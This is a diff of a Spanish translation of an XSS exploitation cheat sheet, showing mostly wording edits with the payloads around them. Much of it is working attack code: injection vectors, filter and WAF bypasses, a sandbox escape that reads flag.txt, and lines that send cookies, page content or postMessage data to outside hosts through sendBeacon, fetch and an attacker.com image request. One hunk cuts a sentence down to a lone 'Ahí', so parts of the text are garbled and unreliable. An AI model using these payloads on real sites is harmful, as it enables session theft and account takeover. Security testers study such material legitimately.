1. Verifica **qué símbolos puedes usar** y dependiendo de eso, prepara la carga útil:
|
||||
1. En **HTML crudo**:
|
||||
1. ¿Puedes crear nuevas etiquetas HTML?
|
||||
@ -20,12 +20,12 @@
|
||||
3. Dentro del **código JavaScript**:
|
||||
1. ¿Puedes escapar de la etiqueta `<script>`?
|
||||
2. ¿Puedes escapar de la cadena y ejecutar diferente código JS?
|
||||
3. ¿Tu entrada está en literales de plantilla \`\`?
|
||||
3. ¿Tus entradas están en literales de plantilla \`\`?
|
||||
4. ¿Puedes eludir protecciones?
|
||||
4. Función de Javascript **siendo ejecutada**
|
||||
1. Puedes indicar el nombre de la función a ejecutar. ej.: `?callback=alert(1)`
|
||||
4. Si **usado**:
|
||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es usada por algún sink.**
|
||||
4. Si es **utilizado**:
|
||||
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sink.**
|
||||
|
||||
Cuando trabajes en un XSS complejo, podría ser interesante saber sobre:
|
||||
|
||||
@ -37,7 +37,7 @@ debugging-client-side-js.md
|
||||
|
||||
Para explotar con éxito un XSS, lo primero que necesitas encontrar es un **valor controlado por ti que está siendo reflejado** en la página web.
|
||||
|
||||
- **Reflejado intermedialmente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejado en la página web, podrías explotar un **XSS Reflejado**.
|
||||
- **Reflejado intermedialmente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un **XSS Reflejado**.
|
||||
- **Almacenado y reflejado**: Si encuentras que un valor controlado por ti está guardado en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
|
||||
- **Accedido a través de JS**: Si encuentras que un valor controlado por ti está siendo accedido usando JS, podrías explotar un **DOM XSS**.
|
||||
|
||||
@ -48,16 +48,16 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
|
||||
### HTML crudo
|
||||
|
||||
Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
|
||||
Además, ten en cuenta la [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
|
||||
Además, ten en cuenta [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dentro del atributo de etiquetas HTML
|
||||
### Dentro de atributos de etiquetas HTML
|
||||
|
||||
Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, podrías intentar:
|
||||
|
||||
1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
|
||||
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se está reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
|
||||
```html
|
||||
@ -67,14 +67,14 @@ Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
|
||||
```
|
||||
### Dentro del código JavaScript
|
||||
|
||||
En este caso, tu entrada se refleja entre **`<script> [...] </script>`** etiquetas de una página HTML, dentro de un archivo `.js` o dentro de un atributo usando el protocolo **`javascript:`**:
|
||||
En este caso, tu entrada se refleja entre las etiquetas **`<script> [...] </script>`** de una página HTML, dentro de un archivo `.js` o dentro de un atributo utilizando el protocolo **`javascript:`**:
|
||||
|
||||
- Si se refleja entre **`<script> [...] </script>`** etiquetas, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `</script>` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no notará que tu etiqueta inyectada `</script>` está dentro del código HTML.
|
||||
- Si se refleja entre las etiquetas **`<script> [...] </script>`**, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `</script>` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no notará que tu etiqueta inyectada `</script>` está dentro del código HTML.
|
||||
- Si se refleja **dentro de una cadena JS** y el último truco no está funcionando, necesitarías **salir** de la cadena, **ejecutar** tu código y **reconstruir** el código JS (si hay algún error, no se ejecutará):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Si se refleja dentro de literales de plantilla, puedes **incrustar expresiones JS** usando la sintaxis `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Si se refleja dentro de literales de plantilla, puedes **incrustar expresiones JS** utilizando la sintaxis `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **La codificación Unicode** funciona para escribir **código javascript válido**:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -149,9 +149,9 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## Inyectando dentro de HTML crudo
|
||||
|
||||
Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, la **primera** cosa que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar este caso**.\
|
||||
Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar este caso**.\
|
||||
Para estos casos también **ten en cuenta** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
&#xNAN;_**Nota: Un comentario HTML se puede cerrar usando\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*o \*\*\*\*\*\***`--!>`\*\**_
|
||||
&#xNAN;_**Nota: Un comentario HTML se puede cerrar usando\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*o \*\*\*\*\*\***`--!>`\*\*_
|
||||
|
||||
En este caso y si no se utiliza ninguna lista negra/blanca, podrías usar cargas útiles como:
|
||||
```html
|
||||
@ -161,12 +161,12 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar qué etiquetas** puedes crear.\
|
||||
Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarías **forzar atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
|
||||
Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar de manera exhaustiva qué etiquetas** puedes crear.\
|
||||
Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar de manera exhaustiva atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
|
||||
|
||||
### Fuerza bruta de etiquetas/eventos
|
||||
|
||||
Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
|
||||
Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar de manera exhaustiva todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
|
||||
|
||||
### Etiquetas personalizadas
|
||||
|
||||
@ -174,7 +174,7 @@ Si no encontraste ninguna etiqueta HTML válida, podrías intentar **crear una e
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Bypass de listas negras
|
||||
### Blacklist Bypasses
|
||||
|
||||
Si se está utilizando algún tipo de lista negra, podrías intentar eludirla con algunos trucos tontos:
|
||||
```javascript
|
||||
@ -243,14 +243,14 @@ Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un en
|
||||
|
||||
### Imposible - Marcado Colgante
|
||||
|
||||
Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Marcado Colgante**](../dangling-markup-html-scriptless-injection/) porque podrías **explotar** la vulnerabilidad **sin** ejecutar código **JS**.
|
||||
Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Marcado Colgante**](../dangling-markup-html-scriptless-injection/) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**.
|
||||
|
||||
## Inyectando dentro de la etiqueta HTML
|
||||
|
||||
### Dentro de la etiqueta/escapando del valor del atributo
|
||||
|
||||
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](./#injecting-inside-raw-html) para ejecutar código JS.\
|
||||
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_nota que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
|
||||
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](#injecting-inside-raw-html) para ejecutar código JS.\
|
||||
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -291,7 +291,7 @@ Ten en cuenta que **cualquier tipo de codificación HTML es válida**:
|
||||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**Tenga en cuenta que la codificación de URL también funcionará:**
|
||||
**Nota que la codificación de URL también funcionará:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
@ -303,7 +303,7 @@ Ten en cuenta que **cualquier tipo de codificación HTML es válida**:
|
||||
```
|
||||
### Protocolos Especiales Dentro del atributo
|
||||
|
||||
Ahí puedes usar los protocolos **`javascript:`** o **`data:`** en algunos lugares para **ejecutar código JS arbitrario**. Algunos requerirán interacción del usuario y otros no.
|
||||
Ahí
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -351,7 +351,7 @@ _**En este caso, el truco de codificación HTML y el truco de codificación Unic
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en URL, será decodificada en URL antes de ser ejecutada.** Así que, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en URL**, recuerda que **no importa,** será **interpretada** como una **comilla simple** durante el **tiempo de ejecución.**
|
||||
Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en URL, será decodificada en URL antes de que se ejecute.** Así que, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en URL**, recuerda que **no importa,** será **interpretada** como una **comilla simple** durante el **tiempo de ejecución.**
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -373,7 +373,7 @@ Puede usar **Hex** y **Octal encode** dentro del atributo `src` de `iframe` (al
|
||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Nabbing de pestañas inverso
|
||||
### Reverse tab nabbing
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
@ -385,7 +385,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
|
||||
|
||||
### sobre el Bypass de Controladores de Eventos
|
||||
|
||||
Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
|
||||
Primero que nada, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
|
||||
En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
@ -401,7 +401,7 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS en "Etiquetas no explotables" (entrada oculta, enlace, canónico, meta)
|
||||
### XSS en "Etiquetas no explotables" (entrada oculta, enlace, canónica, meta)
|
||||
|
||||
Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de entradas ocultas con:**
|
||||
```html
|
||||
@ -430,7 +430,7 @@ Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields):
|
||||
|
||||
### Bypasses de lista negra
|
||||
|
||||
Varios trucos utilizando diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:**
|
||||
Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:**
|
||||
|
||||
- **Codificación HTML (etiquetas HTML)**
|
||||
- **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)`
|
||||
@ -440,11 +440,11 @@ Varios trucos utilizando diferentes codificaciones ya se han expuesto dentro de
|
||||
|
||||
**Bypasses para etiquetas y atributos HTML**
|
||||
|
||||
Lee los [Bypasses de lista negra de la sección anterior](./#blacklist-bypasses).
|
||||
Lee los [Bypasses de lista negra de la sección anterior](#blacklist-bypasses).
|
||||
|
||||
**Bypasses para código JavaScript**
|
||||
|
||||
Lee la [lista negra de bypasses de JavaScript de la siguiente sección](./#javascript-bypass-blacklists-techniques).
|
||||
Lee la [lista negra de bypass de JavaScript de la siguiente sección](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
@ -486,12 +486,12 @@ Si `<>` están siendo sanitizados, aún puedes **escapar la cadena** donde se en
|
||||
';alert(document.domain)//
|
||||
\';alert(document.domain)//
|
||||
```
|
||||
### Template literals \`\`
|
||||
### Literales de plantilla \`\`
|
||||
|
||||
Para construir **cadenas** además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\
|
||||
Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que está utilizando backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
||||
Para construir **cadenas** además de comillas simples y dobles, JS también acepta **comillas invertidas** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\
|
||||
Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que está utilizando comillas invertidas, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
|
||||
|
||||
Esto puede ser **abusado** usando:
|
||||
Esto se puede **abusar** usando:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -510,7 +510,7 @@ loop``````````````
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Ejecución de JS con codificación Unicode
|
||||
### Ejecución de JS codificada en Unicode
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Comentarios de JavaScript (de** [**Comentarios de JavaScript**](./#javascript-comments) **truco)**
|
||||
**Comentarios de JavaScript (del** [**trucode Comentarios de JavaScript**](#javascript-comments) **)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Saltos de línea de JavaScript (del** [**truco de salto de línea de JavaScript**](./#javascript-new-lines) **)**
|
||||
**Saltos de línea de JavaScript (del** [**truco de saltos de línea de JavaScript**](#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -739,7 +739,7 @@ top[8680439..toString(30)](1)
|
||||
## **Vulnerabilidades DOM**
|
||||
|
||||
Hay **código JS** que está utilizando **datos controlados de manera insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
|
||||
**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se movió a esta página**](dom-xss.md)**:**
|
||||
**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se trasladó a esta página**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -752,7 +752,7 @@ Además, no olvides que **al final del post mencionado** puedes encontrar una ex
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Si puedes desencadenar un XSS enviando la carga útil dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de este XSS para inyectar una cookie en todo el dominio logrando desencadenar el cookie XSS en el dominio principal u otros subdominios (los vulnerables a cookie XSS). Para esto puedes usar el ataque de cookie tossing:
|
||||
Si puedes desencadenar un XSS enviando la carga útil dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de este XSS para inyectar una cookie en todo el dominio logrando desencadenar el cookie XSS en el dominio principal u otros subdominios (los que son vulnerables a cookie XSS). Para esto puedes usar el ataque de cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -774,7 +774,7 @@ Podrías hacer que el **administrador desencadene tu self XSS** y robar sus cook
|
||||
|
||||
### Unicode Normalizado
|
||||
|
||||
Podrías verificar si los **valores reflejados** están siendo **normalizados en unicode** en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para eludir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Podrías verificar si los **valores reflejados** están siendo **normalizados en unicode** en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para eludir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### Bypass de la bandera PHP FILTER_VALIDATE_EMAIL
|
||||
```javascript
|
||||
@ -787,7 +787,7 @@ Ejemplo de formulario ([de este informe](https://hackerone.com/reports/709336)),
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
El par "Key","Value" será devuelto de la siguiente manera:
|
||||
El par "Key","Value" se devolverá así:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
@ -828,11 +828,11 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que simplemente una carga útil de cross-site scripting es inútil.
|
||||
|
||||
En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\
|
||||
Protocolos conocidos pasados: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`.
|
||||
Protocolos conocidos en el pasado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`.
|
||||
|
||||
### Solo letras, números y puntos
|
||||
|
||||
Si puedes indicar el **callback** que JavaScript va a **ejecutar** limitado a esos caracteres. [**Lee esta sección de esta publicación**](./#javascript-function) para encontrar cómo abusar de este comportamiento.
|
||||
Si puedes indicar el **callback** que JavaScript va a **ejecutar** limitado a esos caracteres. [**Lee esta sección de esta publicación**](#javascript-function) para encontrar cómo abusar de este comportamiento.
|
||||
|
||||
### Tipos de contenido `<script>` válidos para XSS
|
||||
|
||||
@ -870,7 +870,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
La respuesta es:
|
||||
|
||||
- **módulo** (predeterminado, nada que explicar)
|
||||
- **module** (por defecto, nada que explicar)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
@ -925,7 +925,7 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? no está en la lista pero creo que vi esto en un CTF)
|
||||
- text/plain (?? no está en la lista, pero creo que vi esto en un CTF)
|
||||
- application/rss+xml (apagado)
|
||||
- application/atom+xml (apagado)
|
||||
|
||||
@ -943,7 +943,7 @@ Si la página está devolviendo un tipo de contenido text/xml, es posible indica
|
||||
```
|
||||
### Patrones de Reemplazo Especiales
|
||||
|
||||
Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**. El atacante podría usar [**reemplazos de cadena especiales**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar eludir algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**, el atacante podría usar [**reemplazos de cadena especiales**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar eludir algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Por ejemplo, en [**este informe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se utilizó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario.
|
||||
|
||||
@ -955,7 +955,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### Escape de Cárceles XS
|
||||
|
||||
Si solo tienes un conjunto limitado de caracteres para usar, revisa estas otras soluciones válidas para problemas de XSJail:
|
||||
Si solo tienes un conjunto limitado de caracteres para usar, verifica estas otras soluciones válidas para problemas de XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -986,7 +986,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Si **todo está indefinido** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:
|
||||
Si **todo está indefinido** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:
|
||||
|
||||
- Usando import()
|
||||
```javascript
|
||||
@ -1269,7 +1269,7 @@ Hacer que el usuario navegue en la página sin salir de un iframe y robar sus ac
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está configurada en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/#httponly) si tienes la suerte suficiente.
|
||||
> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/index.html#httponly) si tienes la suerte suficiente.
|
||||
|
||||
### Robar Contenido de la Página
|
||||
```javascript
|
||||
@ -1284,7 +1284,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||
xhr.open("GET", url, true)
|
||||
xhr.send(null)
|
||||
```
|
||||
### Encontrar IPs internas
|
||||
### Encontrar IPs internos
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
@ -1405,7 +1405,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
};
|
||||
</script>
|
||||
```
|
||||
### Robando mensajes de PostMessage
|
||||
### Robo de mensajes PostMessage
|
||||
```markup
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
@ -1425,7 +1425,7 @@ abusing-service-workers.md
|
||||
shadow-dom.md
|
||||
{{#endref}}
|
||||
|
||||
### Políglotas
|
||||
### Polyglots
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
@ -1475,7 +1475,7 @@ También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```
|
||||
### Regex - Acceso a Contenido Oculto
|
||||
|
||||
De [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, aún es posible encontrarlos en atributos de JS en diferentes objetos. Por ejemplo, una entrada de un REGEX todavía es posible encontrarla después de que se eliminó el valor de la entrada del regex:
|
||||
De [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, todavía es posible encontrarlos en atributos de JS en diferentes objetos. Por ejemplo, una entrada de un REGEX todavía se puede encontrar después de que se eliminó el valor de la entrada del regex:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1502,7 +1502,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
|
||||
### XSS en Markdown
|
||||
|
||||
¿Puedes inyectar código Markdown que será renderizado? ¡Quizás puedas obtener XSS! Verifica:
|
||||
¿Puedes inyectar código Markdown que será renderizado? ¡Quizás puedas obtener XSS! Revisa:
|
||||
|
||||
{{#ref}}
|
||||
xss-in-markdown.md
|
||||
@ -1514,7 +1514,7 @@ xss-in-markdown.md
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Úsalo para eludir restricciones de cookies, filtros XSS y mucho más!\
|
||||
Utilízalo para eludir restricciones de cookies, filtros XSS y mucho más.\
|
||||
Más información sobre esta técnica aquí: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS en PDF creados dinámicamente
|
||||
@ -1534,9 +1534,9 @@ pdf-injection.md
|
||||
|
||||
### XSS en Amp4Email
|
||||
|
||||
